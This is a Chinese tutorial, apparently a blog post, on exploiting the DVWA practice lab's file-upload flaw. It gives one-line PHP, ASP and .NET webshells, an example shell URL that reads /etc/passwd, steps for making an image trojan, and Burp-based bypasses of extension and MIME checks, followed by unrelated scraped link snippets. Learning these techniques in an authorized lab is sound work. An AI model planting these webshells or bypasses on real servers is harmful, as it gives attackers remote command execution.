DVWA漏洞演练平台 - 文件上传
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
中国蚁剑的使用
本来想使用中国菜刀来演示WebShell的使用的,但中国菜刀太老了且不开源,还爆出过各种后门,所以笔者比较有阴影,这里我就使用中国蚁剑,中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员,其使用方法和菜刀差不多而且跨平台。
蚁剑的安装需要下载两个文件,分别是加载器和源码,如下代码托管在了GitHub上:
> git clone https://github.com/AntSwordProject/antSword.git
> git clone https://github.com/AntSwordProject/AntSword-Loader.git
下载好以后点击加载器中的 AntSword.exe 程序然后选择antSword源代码,程序就可以正常工作了,接下来我们就来看下常用的WebShell小马的写法。
1.eval命令使用PHP系统中的函数
<?php eval($_REQUEST['cmd']); ?> 调用方式:http://lyshark.com/shell.php?cmd=phpinfo();
2.system命令使用Linux系统命令
# system 使用系统命令
<?php system($_REQUEST['cmd']); ?> http://lyshark.com/shell.php?cmd=cat /etc/passwd
3.图片木马的制作,PHP为例,执行CMD命令后会在当前位置生成一个lyshark.jpg的图片木马
准备1: shell.php
准备2:shell.jpg
执行CMD命令: copy shell.jpg/b+shell.php lyshark.jpg
4.中国蚁剑小马的写法
PHP: <?php @eval($_POST['lyshark']); ?>
ASP: <%eval request('lyshark') %>
.NET:<%@ Page Language="Jscript"%><%eval(Request.Item['lyshark'],"unsafe"); %>
如上以PHP代码为例,我们将其保存为shell.php然后上传至PHP主机空间中,配置蚁剑,配置好以后我们直接点击添加,就可以对网站进行管理了。

拓展:在Linux系统中如果想要排查是否有恶意的后门可以使用:fgrep -R 'eval($_POST[' /var/www/ 这条命令来排查。
DVWA 文件上传:低安全级别
如下代码就是DVWA低安全级别的代码,可以看到代码中并没有对上传的文件进行任何的过滤,有些Web应用会将上传文件的过滤工作在前端用JS来实现,以为这样可以减少服务器的负载,不过对于专业的技术人员来说,前端JS验证的方式可以被轻松的绕过。前端JS验证是用来纠正错误输入的。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 指定上传目录
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 获取上传文件名
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
1.这里我们使用Brup来上传一个简单的 lyshark.jpg 文件,然后上传途中使用Brup将其改为 shell.php ,首先Brup开启抓包,然后回到Web应用上选择 lyshark.jpg 图片文件,点击上传按钮,接着Brup会拦截这个请求。

2.然后我们需要修改Brup中的两个参数,需要注意的是:在HTTP协议中有请求头Content-Length它代表的是实体的正文长度,如果此时我们将文件名修改,也就意味着实体正文的长度增加或者减少了,所以也要修改请求头的大小才能够保证上传成功。

上面的例子:我们将 lyshark.jpg 修改为了 shell.php ,也就是说正文的长度减少了2,所以在Content-Length长度上需要减去2,默认是500这里要改成448,然后放行就可以上传成功了。

DVWA 文件上传:中安全级别
随着开发人员安全意识的提高,使用前端JS来验证的方式越来越少,一般会将验证环节放在服务端进行,相比于低安全级别来说,中安全级别代码如下,可以看到该级别增加了MIME类型的验证,开发人员经常会对MIME类型做验证,从而保证上传文件的可靠性,但这样做还远远不够,总还是可以被绕过。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && // 判断文件类型
( $uploaded_size < 100000 ) ) { if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
1.首先使用Brup开启抓包,然后回到Web页面上,此时我们上传一个 shell.php 然后点击上传,此时Brup拦截一个请求,通过观察Content-Type参数可发现并不是一个图片的格式,所以上传会失败。

2.我们将Content-Type修改成 image/jpeg 然后放行数据包,同样的可以上传成功,一般 GIF图片格式为 image/gif,CSS格式为 text/css,PHP格式为 application/php。

DVWA 文件上传:高安全级别
高安全级别的代码如下,仅仅只是判断文件的后缀,我们只需要制作一个图片木马。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
1.制作木马,直接上传就好。
准备1: shell.php
准备2:shell.jpg
执行CMD命令: copy shell.jpg/b+shell.php lyshark.jpg
DVWA漏洞演练平台 - 文件上传的更多相关文章
- WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞
漏洞名称: WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞 CNNVD编号: CNNVD-201311-015 发布时间: 2013-11-04 更新时间: 2013-11-0 ...
- DVWA靶机--简单的文件上传漏洞
简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../h ...
- DVWA之File Upload (文件上传漏洞)
目录 Low: Medium: 方法一:抓包修改文件的type 方法二:00截断 High: Impossible : Low: 源代码: <?php if( isset( $_POST[ 'U ...
- DVWA-全等级文件上传
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
- 上传漏洞科普[1]-文件上传表单是Web安全主要威胁
为了让最终用户将文件上传到您的网站,就像是给危及您的服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种 常见的要求,因为它有助于提高您的业务效率.在Facebook ...
- 漏洞重温之文件上传(FUZZ)
文件上传FUZZ思路通关upload-labs Pass-16 黑盒阶段 进入第十六关,首先我们能看到,该页面的上传点为图片上传. 首先,先把对方想的简单一点,这里虽然是上传图片,但是可能只是前端js ...
- DVWA漏洞演练平台 - SQL注入
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- Web应用安全之文件上传漏洞详解
什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
随机推荐
- HDU 4386 Quadrilateral(四边形的海伦公式的应用)
题目链接:http://acm.hust.edu.cn/vjudge/contest/view.action?cid=115760#problem/G 题目大意是给出四条边,问能否组成一个四边形,如果 ...
- elasticsearch sql插件配置(5.0及以上版本)
github官方参考地址:https://github.com/NLPchina/elasticsearch-sql/ 采用 git + node 的方式,所以安装前需要先安装好node,node n ...
- Flutter安装
下载右边的安装包以获取最新版本 stable 的 Flutter SDK 将压缩包解压,然后把其中的 flutter 目录整个放在你预想的 Flutter SDK 安装目录中(比如 C:\src\fl ...
- 【原创】FltGetFileNameInformation蓝屏分析
FAULTING_IP: nt!SeCreateAccessStateEx+5b80564184 848788000000 test byte ptr [edi+88h],al TRAP_FRAME: ...
- H5本地存储详解
H5之前存储数据一般是通过 cookie ,但是 cookie 存的数据容量比较少.H5 中扩充了文件存储能力,可存储多达 5MB 的数据.现在就实际开发经验来对本地存储 ( Storage ) 的使 ...
- redhat 7.6下如何更新YUM源(仓库)?
1. 安装epel-release yum install epel-release 2. 安装webstatic-release rpm -Uvh https://mirror.we ...
- 文件上传对servlet的要求
request.getParamter(String name)方法不能再使用了 需要使用request.getInputStream()获取输入流对象然后在进行读取数据 解析数据 ServletIn ...
- 数据分析 - Excel 配色, 绘图, 技巧
美学 配色 画图本身是美学的展示, 出色的配色是必须的 虽然本身美学并不是数据分析的必要, 但是也不能太low 如果做的太丑展示也是很尴尬 配色网站 点击这里 配置 现版本的 excel 中已存在较为 ...
- Qt编写安防视频监控系统7-全屏切换
一.前言 全屏切换这个功能点属于简单的,一般会做到右键菜单中,也提供了快捷键比如alt+enter来触发,恢复全屏则按esc即可,全屏处理基本上都是隐藏通道面板以外的窗体,保持最大化展示,由于采用了模 ...
- sparkStream---1
1.本地scala版 import org.apache.spark._ import org.apache.spark.streaming._ import org.apache.spark.str ...